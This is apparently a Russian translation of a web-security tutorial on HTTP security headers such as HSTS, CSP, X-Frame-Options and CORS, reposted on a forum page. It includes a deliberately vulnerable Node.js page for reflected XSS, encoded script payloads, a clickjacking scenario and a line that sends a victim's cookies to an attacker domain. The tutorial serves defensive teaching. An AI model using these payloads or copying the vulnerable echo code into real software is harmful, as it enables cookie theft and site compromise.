- ↳ Intervjuu foorumi kasutajatega
- ↳ Français
- ↳ LabVIEW
- ↳ News
- ↳ Pour les débutants
- ↳ Courant
- ↳ La communication avec des périphériques
- ↳ Traitement du signal
- ↳ Front panel
- ↳ Stokage de données
- ↳ Travailler avec des graphiques
- ↳ Modelè de programmation
- ↳ Application Builder
- ↳ Environnement de développement
- ↳ Communication avec les applications
- ↳ Projets
- ↳ Modules/ boîtes à outils
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ D’autres choses
- ↳ Concourses
- ↳ Livres de LabVIEW
- ↳ Cours et la certification
- ↳ Langues de programmation
- ↳ Software
- ↳ Hardware
- ↳ Marché du travail
- ↳ Place de marchè
- ↳ Sur d’autres choses
- ↳ Web site et forum
- ↳ Annonces
- ↳ Retour
- ↳ Propositions
- ↳ Olympiads / Олимпиады
- ↳ Olympiad 2020
- ↳ Olympiad 2021
- Список форумов
- Часовой пояс: UTC+03:00
- Удалить cookies
- Связаться с администрацией
Как усилить защищенность веб-приложений при помощи HTTP заголовков

Как мы видели в предыдущих частях этой серии, серверы могут отправлять заголовки HTTP, чтобы предоставить клиенту дополнительные метаданные в ответе, помимо отправки содержимого, запрошенного клиентом. Затем клиентам разрешается указывать, каким образом следует читать, кэшировать или защищать определенный ресурс.
В настоящее время браузеры внедрили очень широкий спектр заголовков, связанных с безопасностью, чтобы злоумышленникам было труднее использовать уязвимости. В этой статье мы попытаемся обсудить каждый из них, объясняя, как они используются, какие атаки они предотвращают, и немного истории по каждому заголовку.

Пост написан при поддержке компании EDISON Software, которая бьется за честь российских программмистов и подробно делится своим опытом разработки сложных программных продуктов.
HTTP Strict Transport Security (HSTS)
С конца 2012 года сторонникам “HTTPS Everywhere” стало проще заставить клиента всегда использовать безопасную версию протокола HTTP благодаря Strict Transport Security: очень простая строка Strict-Transport-Security: max-age=3600 скажет браузеру что в течение следующего часа (3600 секунд) он не должен взаимодействовать с приложением по небезопасным протоколам.
Когда пользователь пытается получить доступ к приложению, защищенному с помощью HSTS через HTTP, браузер просто отказывается идти дальше, автоматически преобразовывая URL-адреса http:// в https:// .
Вы можете проверить это локально с помощью кода github.com/odino/wasec/tree/master/hsts. Вам нужно будет следовать инструкциям в README (она включают установку доверенного SSL-сертификата для localhost на вашем компьютере с помощью инструмента mkcert), а затем попробуйте открыть https://localhost:7889 .
В этом примере 2 сервера: HTTPS, который прослушивает 7889 , и HTTP — порт 7888 . Когда вы обращаетесь к HTTPS-серверу, он всегда будет пытаться перенаправить вас на версию HTTP, которая будет работать, поскольку HSTS отсутствует на сервере HTTPS. Если вместо этого вы добавите параметр hsts=on в свой URL, браузер принудительно преобразует ссылку в версию https:// . Поскольку сервер на 7888 доступен только по протоколу http, вы в конечном итоге будете смотреть на страницу, которая выглядит примерно так.

Вам может быть интересно узнать, что происходит, когда пользователь посещает ваш сайт в первый раз, поскольку заранее не определена политика HSTS: злоумышленники потенциально могут обмануть пользователя по версии http:// вашего сайта и провести там атаку, так что еще есть место для проблем. Это серьезная проблема, поскольку HSTS — это механизм доверия при первом использовании. Он пытается убедиться, что после посещения веб-сайта браузер знает, что при последующем взаимодействии должен использоваться HTTPS.
Обойти этот недостаток можно было бы путем поддержки огромной базы данных веб-сайтов, поддерживающих HSTS, что Chrome делает через hstspreload.org. Сначала вы должны установить свою политику, а затем посетить веб-сайт и проверить, может ли он быть добавлен в базу данных. Например, мы можем видеть, что Facebook входит в список.

Отправляя свой веб-сайт в этот список, вы можете заранее сообщить браузерам, что ваш сайт использует HSTS, так что даже первое взаимодействие между клиентами и вашим сервером будет осуществляться по безопасному каналу. Но это обходится дорого, так как вам действительно нужно принять участие в HSTS. Если, по какой-либо причине, вы хотите, чтобы ваш веб-сайт был удален из списка, это непростая задача для поставщиков браузеров:
Имейте в виду, что включение в список предварительной загрузки не может быть легко отменен.
Домены могут быть удалены, но для того, чтобы донести до пользователей обновление Chrome, требуются месяцы, и мы не можем дать гарантии относительно других браузеров. Не запрашивайте включение в список, если вы не уверены, что сможете поддерживать HTTPS для всего своего сайта и всех его поддоменов в течение длительного времени.
— Источник: https://hstspreload.org/
Это происходит потому, что поставщик не может гарантировать, что все пользователи будут использовать последнюю версию своего браузера, а ваш сайт будет удален из списка. Хорошо подумайте и примите решение, основываясь на вашей степени доверия к HSTS и вашей способности поддерживать его в долгосрочной перспективе.
HTTP Public Key Pinning (HPKP)
HTTP Public Key Pinning — это механизм, который позволяет нам сообщать браузеру, какие SSL-сертификаты следует ожидать при подключении к нашим серверам. Это заголовок использует механизм доверия при первом использовании, как и HSTS, и означает, что после подключения клиента к нашему серверу он будет хранить информацию о сертификате для последующих взаимодействий. Если в какой-то момент клиент обнаружит, что сервер использует другой сертификат, он вежливо откажется подключиться, что очень затруднит проведение атак типа «человек посередине» (MITM).
Вот как выглядит политика HPKP:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
Заголовок объявляет, какие сертификаты сервер будет использовать (в данном случае это два из них), используя хэш сертификатов, и включает дополнительную информацию, такую как время жизни этой директивы ( max-age = 3600 ) и несколько других деталей. К сожалению, нет смысла копать глубже, чтобы понять, что мы можем сделать с закреплением открытого ключа, поскольку Chrome не одобряет эту функцию — сигнал о том, что его принятие обречено на провал.
Решение Chrome не является иррациональным, это просто следствие рисков, связанных с закреплением открытого ключа. Если вы потеряете свой сертификат или просто ошибетесь во время тестирования, ваш сайт будет недоступен для пользователей, которые посетили сайт ранее (в течение срока действия директивы max-age , которая обычно составляет недели или месяцы).
В результате этих потенциально катастрофических последствий принятие HPKP было чрезвычайно низким, и были случаи, когда крупные веб-сайты были недоступны из-за неправильной конфигурации. Учитывая все вышесказанное, Chrome решил, что пользователям будет лучше без защиты, предлагаемой HPKP, и исследователи в области безопасности не совсем против этого решения.
Expect-CT
В то время как HPKP осуждался, появился новый заголовок, чтобы предотвратить мошеннические SSL-сертификаты для клиентов: Expect-CT .
Цель этого заголовка — сообщить браузеру, что он должен выполнить дополнительные «фоновые проверки», чтобы убедиться, что сертификат является подлинным: когда сервер использует заголовок Expect-CT , он в основном запрашивает у клиента проверить, что используемые сертификаты находятся в открытых журналах сертификатов прозрачности (CT).
Инициатива по обеспечению прозрачности сертификатов — это усилия, предпринимаемые Google для обеспечения:
Открытой платформы для мониторинга и аудита SSL-сертификатов практически в реальном времени.
В частности, прозрачность сертификатов позволяет обнаруживать сертификаты SSL, которые были ошибочно выданы центром сертификации или злонамеренно получены от другого безупречного центра сертификации. Это также позволяет идентифицировать центры сертификации, которые пошли на мошенничество и злонамеренно выдают сертификаты.
— Источник: https://www.certificate-transparency.org/
Заголовок принимает эту форму:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
В этом примере сервер просит браузер:
- включить проверку CT для текущего приложения на период 1 час (3600 секунд)
- enforce обеспечить соблюдение этой политики и запретить доступ к приложению в случае нарушения
- отправить отчет по указанному URL-адресу в случае нарушения
Включив использование заголовка Expect-CT , вы можете воспользоваться этой инициативой, чтобы улучшить состояние безопасности вашего приложения.
X-Frame-Options
Представьте, что вы видите веб-страницу, подобную этой

Как только вы нажимаете на ссылку, вы понимаете, что все деньги на вашем банковском счете исчезли. Что случилось?
Вы были жертвой атаки clickjacking.
Злоумышленник направил вас на свой веб-сайт, на котором отображается очень привлекательная ссылка для нажатия. К сожалению, он также встроил в страницу iframe с your-bank.com/transfer?amount=-1&[attacker@gmail.com] , но скрыл его, установив прозрачность на 0%. Мы подумали, что нажали на исходную страницу, пытаясь выиграть совершенно новый хамер, но вместо этого браузер зафиксировал щелчок по iframe, опасный щелчок, который подтвердил перевод денег.
Большинство банковских систем требуют, чтобы вы указали одноразовый PIN-код для подтверждения транзакций, но ваш банк не догнал время, и все ваши деньги пропали.
Пример довольно экстремальный, но он должен дать вам понять, какие могут быть последствия атаки с помощью кликджеккинга. Пользователь намеревается нажать на конкретную ссылку, в то время как браузер вызовет щелчок по «невидимой» странице, которая была встроена в виде фрейма.
Я включил пример этой уязвимости в github.com/odino/wasec/tree/master/clickjacking. Если вы запустите пример и попробуете нажать на «привлекательную» ссылку, вы увидите, что реальный клик перехватывается iframe, что делает его не прозрачным, чтобы вам было легче обнаружить проблему. Пример должен быть доступен по адресу http://localhost:7888 .

К счастью, браузеры придумали простое решение этой проблемы: X-Frame-Options (XFO), который позволяет вам решить, можно ли встроить ваше приложение в виде iframe на внешних веб-сайтах. Популяризированная Internet Explorer’ом 8, XFO был впервые представлен в 2009 году и до сих пор поддерживается всеми основными браузерами.
Это работает так: когда браузер видит iframe, он загружает его и проверяет, что его XFO позволяет включить его в текущую страницу перед его рендерингом.

- DENY : эта веб-страница нигде не может быть встроена. Это самый высокий уровень защиты, поскольку он никому не позволяет встраивать наш контент.
- SAMEORIGIN : эту страницу могут вставлять только страницы из того же домена, что и текущий. Это означает, что example.com/embedder может загружать example.com/embedded , если его политика установлена в SAMEORIGIN . Это более спокойная политика, которая позволяет владельцам определенного веб-сайта встраивать свои собственные страницы в свое приложение.
- ALLOW-FROM uri : вложение разрешено с указанного URI. Мы могли бы, например, позволить внешнему авторизованному веб-сайту встраивать наш контент, используя ALLOW-FROM https://external.com . Обычно это используется, когда вы собираетесь разрешить сторонним разработчикам встраивать ваш контент через iframe
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY .
Чтобы продемонстрировать, как ведут себя браузеры, когда XFO включен, мы можем просто изменить URL нашего примера на http://localhost:7888 /?xfo=on . Параметр xfo=on указывает серверу включить в ответ X-Frame-Options: deny , и мы можем увидеть, как браузер ограничивает доступ к iframe:

XFO считался лучшим способом предотвращения атак с использованием щелчков на основе фреймов до тех пор, пока через несколько лет не вступил в игру еще один заголовок — Content Security Policy или CSP для краткости.
Content Security Policy (CSP)
Заголовок Content-Security-Policy , сокращенно CSP, предоставляет утилиты следующего поколения для предотвращения множества атак, от XSS (межсайтовый скриптинг) до перехвата кликов (клик-джеккинга).
Чтобы понять, как CSP помогает нам, сначала нужно подумать о векторе атаки. Допустим, мы только что создали наш собственный поисковик Google, где есть простое поле для ввода с кнопкой отправки.

Это веб-приложение не делает ничего волшебного. Оно просто,
- отображает форму
- позволяет пользователю выполнить поиск
- отображает результаты поиска вместе с ключевым словом, которое искал пользователь

Удивительно! Наше приложение невероятно поняло наш поиск и нашло похожее изображение. Если мы углубимся в исходный код, доступный по адресу github.com/odino/wasec/tree/master/xss, мы скоро поймем, что приложение представляет проблему безопасности, поскольку любое ключевое слово, которое ищет пользователь, напрямую печатается в HTML:
var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => < let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "$", we found:
` : `Try searching. ` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) >).listen(7888) Search The Web
__RESULTS__
Это представляет неприятное следствие. Злоумышленник может создать определенную ссылку, которая выполняет произвольный JavaScript в браузере жертвы.

Если у вас есть время и терпение, чтобы запустить пример локально, вы сможете быстро понять всю мощь CSP. Я добавил параметр строки запроса, который включает CSP, поэтому мы можем попробовать перейти к вредоносному URL-адресу с включенным CSP:

Как вы видите в приведенном выше примере, мы сказали браузеру, что наша политика CSP допускает только сценарии, включенные из того же источника текущего URL, что мы можем легко проверить, обратившись к URL с помощью curl и просмотрев заголовок ответа:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
Поскольку XSS-атака осуществлялась с помощью встроенного сценария (сценария, непосредственно встроенного в контент HTML), браузер вежливо отказался выполнить его, обеспечивая безопасность нашего пользователя. Представьте, что вместо простого отображения диалогового окна с предупреждением злоумышленник настроил бы перенаправление на свой собственный домен через некоторый код JavaScript, который мог бы выглядеть следующим образом:
window.location = `attacker.com/$`
Они могли бы украсть все пользовательские куки, которые могут содержать очень конфиденциальные данные (подробнее об этом в следующей статье).
К настоящему времени должно быть ясно, как CSP помогает нам предотвращать ряд атак на веб-приложения. Вы определяете политику, и браузер будет строго придерживаться ее, отказываясь запускать ресурсы, которые будут нарушать политику.
Интересным вариантом CSP является режим только для отчетов. Вместо того чтобы использовать заголовок Content-Security-Policy , вы можете сначала проверить влияние CSP на ваш сайт, сказав браузеру просто сообщать об ошибках, не блокируя выполнение скрипта и т. д., Используя заголовок Content-Security-Policy-Report-Only .
Отчеты позволят вам понять, какие критические изменения могут быть вызваны политикой CSP, которую вы хотели бы развернуть, и исправить их соответствующим образом. Мы даже можем указать URL-адрес отчета, и браузер отправит нам отчет. Вот полный пример политики только для отчетов:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
Политики CSP сами по себе могут быть немного сложными, например, в следующем примере:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
Эта политика определяет следующие правила:
- исполняемые скрипты (например, JavaScript) могут быть загружены только из scripts.example.com
- изображения могут быть загружены из любого источника ( img-src: * )
- видео или аудио контент может быть загружен из двух источников: medias.example.com и medias.legacy.example.com
Для получения дополнительной информации о CSP я бы порекомендовал developer.mozilla.org/en-US/docs/Web/HTTP/CSP.
X-XSS-Protection
Несмотря на то, что он заменен CSP, заголовок X-XSS-Protection обеспечивает аналогичный тип защиты. Этот заголовок используется для смягчения атак XSS в старых браузерах, которые не полностью поддерживают CSP. Этот заголовок не поддерживается Firefox.
Его синтаксис очень похож на то, что мы только что видели:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
Отраженные XSS — это наиболее распространенный тип атаки, когда введенный текст печатается сервером без какой-либо проверки, и именно там этот заголовок действительно решает. Если вы хотите увидеть это сами, я бы порекомендовал попробовать пример по адресу github.com/odino/wasec/tree/master/xss, так как, добавив xss=on к URL, он показывает, что делает браузер, когда защита от XSS включена. Если мы введем в поле поиска вредоносную строку, такую как , браузер вежливо откажется выполнить скрипт и объяснит причину своего решения:
The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
Еще более интересным является поведение по умолчанию в Chrome, когда на веб-странице не указана политика CSP или XSS. Сценарий, который мы можем проверить, добавив параметр xss=off в наш URL ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):

Удивительно, но Chrome достаточно осторожен, чтобы не допустить рендеринга страницы, что затрудняет создание отраженного XSS. Впечатляет, как далеко зашли браузеры.
Feature policy
В июле 2018 года исследователь безопасности Скотт Хельм опубликовал очень интересное сообщение в блоге, в котором подробно описывается новый заголовок безопасности: Feature-Policy .
В настоящее время поддерживается очень немногими браузерами (Chrome и Safari на момент написания этой статьи), этот заголовок позволяет нам определить, включена ли конкретная функция браузера на текущей странице. С синтаксисом, очень похожим на CSP, у нас не должно быть проблем с пониманием того, что означает политика функций, такая как следующая:
Feature-Policy: vibrate 'self'; push *; camera 'none'
Если у нас есть все сомнения, то как эта политика влияет на API браузера, мы можем просто проанализировать ее:
- vibrate ‘self’ : позволит текущей странице использовать vibration API и любому фрейму на текущем сайте.
- push * : текущая страница и любой фрейм могут использовать API push-уведомлений
- camera ‘none’ : доступ к API камеры запрещен на данной странице и любых фреймах
X-Content-Type-Options
Иногда умные функции браузера в конечном итоге наносят нам вред с точки зрения безопасности. Ярким примером является MIME-сниффинг, методика, популярная в Internet Explorer.
MIME-сниффинг — это возможность для браузера автоматически обнаруживать (и исправлять) тип содержимого загружаемого ресурса. Например, мы просим браузер визуализировать изображение /awesome-picture.png , но сервер устанавливает неправильный тип при передаче его браузеру (например, Content-Type: text/plain ). Это обычно приводит к тому, что браузер не может правильно отображать изображение.
Чтобы решить эту проблему, IE приложил много усилий, чтобы реализовать функцию MIME-сниффинга: при загрузке ресурса браузер «сканирует» его и, если обнаружит, что тип контента ресурса не тот, который объявлен сервером в заголовке Content-Type , он игнорирует тип, отправленный сервером, и интерпретирует ресурс в соответствии с типом, обнаруженным браузером.
Теперь представьте себе хостинг веб-сайта, который позволяет пользователям загружать свои собственные изображения, и представьте, что пользователь загружает файл /test.jpg , содержащий код JavaScript. Видите, куда это идет? Как только файл загружен, сайт включит его в свой собственный HTML и, когда браузер попытается отобразить документ, он найдет «изображение», которое пользователь только что загрузил. Когда браузер загружает изображение, он обнаруживает, что это скрипт, и запускает его в браузере жертвы.
Чтобы избежать этой проблемы, мы можем установить заголовок X-Content-Type-Options: nosniff , который полностью отключает MIME-сниффинг: тем самым мы сообщаем браузеру, что полностью осознаем, что некоторые файлы могут иметь несоответствие в терминах типа и содержания, и браузер не должен беспокоиться об этом. Мы знаем, что мы делаем, поэтому браузер не должен пытаться угадывать вещи, потенциально создавая угрозу безопасности для наших пользователей.
Cross-Origin Resource Sharing (CORS)
В браузере через JavaScript HTTP-запросы могут запускаться только в одном источнике. Проще говоря, AJAX-запрос от example.com может подключаться только к example.com .
Это связано с тем, что ваш браузер содержит полезную информацию для злоумышленника — файлы cookie, которые обычно используются для отслеживания сеанса пользователя. Представьте, что злоумышленник создаст вредоносную страницу на win-a-hummer.com , которая немедленно вызовет запрос AJAX на your-bank.com . Если вы вошли на веб-сайт банка, злоумышленник сможет выполнить HTTP-запросы с вашими учетными данными, потенциально украсть информацию или, что еще хуже, стереть ваш банковский счет.
Однако в некоторых случаях может потребоваться выполнение запросов AJAX между разными источниками, и именно по этой причине браузеры реализовали Cross Origin Resource Sharing (CORS), набор директив, позволяющих выполнять запросы между доменами.
Механизм, лежащий в основе CORS, довольно сложен, и мы не будем практично рассматривать всю спецификацию, поэтому я сосредоточусь на «урезанной» версии CORS.
Все, что вам нужно знать на данный момент, это то, что с помощью заголовка Access-Control-Allow-Origin ваше приложение сообщает браузеру, то, что можно получать запросы из других источников.
Наиболее удобной формой этого заголовка является Access-Control-Allow-Origin: * , который позволяет любому источнику получать доступ к нашему приложению, но мы можем ограничить его, просто добавив URL-адрес, который мы хотим добавить в белый список, с помощью Access-Control-Allow-Origin: https://example.com .
Если мы посмотрим на пример по адресу github.com/odino/wasec/tree/master/cors, мы увидим, как браузер предотвращает доступ к ресурсу из другого источника. Я настроил пример, чтобы сделать запрос AJAX от test-cors к test-cors-2 и вывести результат операции в браузере. Когда сервер test-cors-2 получает указание использовать CORS, страница работает так, как вы ожидаете. Попробуйте перейти на http://cors-test:7888/?cors=on

Но когда мы удаляем параметр cors из URL, браузер вмешивается и запрещает нам доступ к содержимому ответа:

Важный аспект, который нам нужно понять, заключается в том, что браузер выполнил запрос, но не позволил клиенту получить к нему доступ. Это чрезвычайно важно, так как это все еще оставляет нас уязвимыми, если наш запрос вызвал бы любой побочный эффект на сервере. Представьте, например, что наш банк разрешил бы перевод денег, просто вызвав ссылку my-bank.com/transfer?amount=1000&from=me&to=attacker. Это было бы катастрофой!
Как мы видели в начале этой статьи, GET -запросы должны быть идемпотентными, но что произойдет, если мы попытаемся инициировать POST -запрос? К счастью, я включил этот сценарий в пример, поэтому мы можем попробовать его, перейдя по адресу http://cors-test:7888/?method=POST :

Вместо непосредственного выполнения нашего запроса POST , который потенциально может вызвать серьезные проблемы на сервере, браузер отправил запрос «предварительной проверки». Это не что иное, как запрос OPTIONS к серверу с просьбой проверить, разрешено ли наше происхождение. В этом случае сервер не ответил положительно, поэтому браузер останавливает процесс, и наш запрос POST никогда не достигает цели.
Это говорит нам пару вещей:
- CORS — это не простая спецификация. Есть немало сценариев, которые нужно иметь в виду, и вы легко можете запутаться в нюансах таких функций, как предварительные запросы.
- Никогда не выставляйте API, которые изменяют состояние через GET . Злоумышленник может инициировать эти запросы без предварительного запроса, что означает отсутствие защиты вообще.
Я завершу свой обзор этой функции здесь, но, если вы заинтересованы в глубоком понимании CORS, у MDN есть очень длинная статья, которая блестяще охватывает всю спецификацию на developer.mozilla.org/en-US/docs/Web/HTTP/CORS.
X-Permitted-Cross-Domain-Policies
Сильно связанные с CORS, X-Permitted-Cross-Domain-Policies нацелены на междоменные политики для продуктов Adobe (а именно, Flash и Acrobat).
Я не буду вдаваться в подробности, так как это заголовок, предназначенный для очень конкретных случаев использования. Короче говоря, продукты Adobe обрабатывают междоменный запрос через файл crossdomain.xml в корневом каталоге домена, на который нацелен запрос, и X-Permitted-Cross-Domain-Policies определяет политики для доступа к этому файлу.
Звучит сложно? Я бы просто предложил добавить X-Permitted-Cross-Domain-Policies: none и игнорировать клиентов, желающих делать междоменные запросы с помощью Flash.
Referrer-Policy
В начале нашей карьеры мы все, вероятно, совершили одну и ту же ошибку. Используйте заголовок Referer , чтобы применить ограничения безопасности на нашем сайте. Если заголовок содержит определенный URL в определенном нами белом списке, мы пропустим пользователей.
Хорошо, может быть, это был не каждый из нас. Но я чертовски уверен, что сделал эту ошибку тогда. Доверие заголовку Referer для предоставления нам достоверной информации о происхождении пользователя. Заголовок был действительно полезным, пока мы не решили, что отправка этой информации на сайты может представлять потенциальную угрозу для конфиденциальности наших пользователей.
Заголовок Referrer-Policy , родившийся в начале 2017 года и в настоящее время поддерживаемый всеми основными браузерами, может использоваться для смягчения этих проблем с конфиденциальностью, сообщая браузеру, что он должен только маскировать URL-адрес в заголовке Referer или вообще его не указывать.
Вот некоторые из наиболее распространенных значений, которые может принимать Referrer-Policy :
- no-referrer : заголовок Referer будет полностью опущен
- origin : превращает https://example.com/private-page в https://example.com/
- same-origin : отправьте Referer на тот же сайт, но пропустите его для всех остальных
Заголовок Origin очень похож на Referer , так как он отправляется браузером в междоменных запросах, чтобы удостовериться, что вызывающей стороне разрешен доступ к ресурсу в другом домене. Заголовок Origin контролируется браузером, поэтому злоумышленники не смогут вмешаться в него. У вас может возникнуть соблазн использовать его в качестве брандмауэра для вашего веб-приложения: если Origin находится в нашем белом списке, разрешите выполнение запроса.
Однако следует учитывать, что другие HTTP-клиенты, такие как cURL, могут представлять свое собственное происхождение: простой c url -H «Origin: example.com» api.example.com сделает все правила межсетевого экрана на основе origin неэффективными…… и вот почему вы не можете полагаться на Origin (или Referer , как мы только что видели) для создания брандмауэра для защиты от вредоносных клиентов.
Тестирование вашей безопасности
Я хочу завершить эту статью ссылкой на securityheaders.com, невероятно полезный веб-сайт, который позволяет вам убедиться, что в вашем веб-приложении установлены правильные заголовки, связанные с безопасностью. После того, как вы отправите URL, вам будет передана оценка и разбивка заголовок за заголовком. Вот пример отчета для facebook.com:

Если вы сомневаетесь в том, с чего начать, securityheaders.com — отличное место, чтобы получить первую оценку.
HTTP с контролем состояния: управление сеансами с файлами cookie
Эта статья должна была познакомить нас с несколькими интересными заголовками HTTP, что позволило бы нам понять, как они укрепляют наши веб-приложения с помощью специфичных для протокола функций, а также немного помощи от основных браузеров.
В следующем посте мы углубимся в одну из самых неправильно понятых функций протокола HTTP: куки.
Рожденные для того, чтобы привести какое-либо состояние в HTTP без сохранения состояния, куки, вероятно, используются (и использовались) каждым из нас для поддержки сеансов в наших веб-приложениях: когда бы ни было какое-либо состояние, которое мы хотели бы сохранить, оно всегда Легко сказать «сохранить его в печенье». Как мы увидим, файлы cookie не всегда являются самыми безопасными из хранилищ, и к ним следует относиться осторожно при работе с конфиденциальной информацией.
- clickjacking attack
- edisonsoftware
- Блог компании Edison
- Информационная безопасность
- Веб-разработка
- Разработка мобильных приложений
- Тестирование веб-сервисов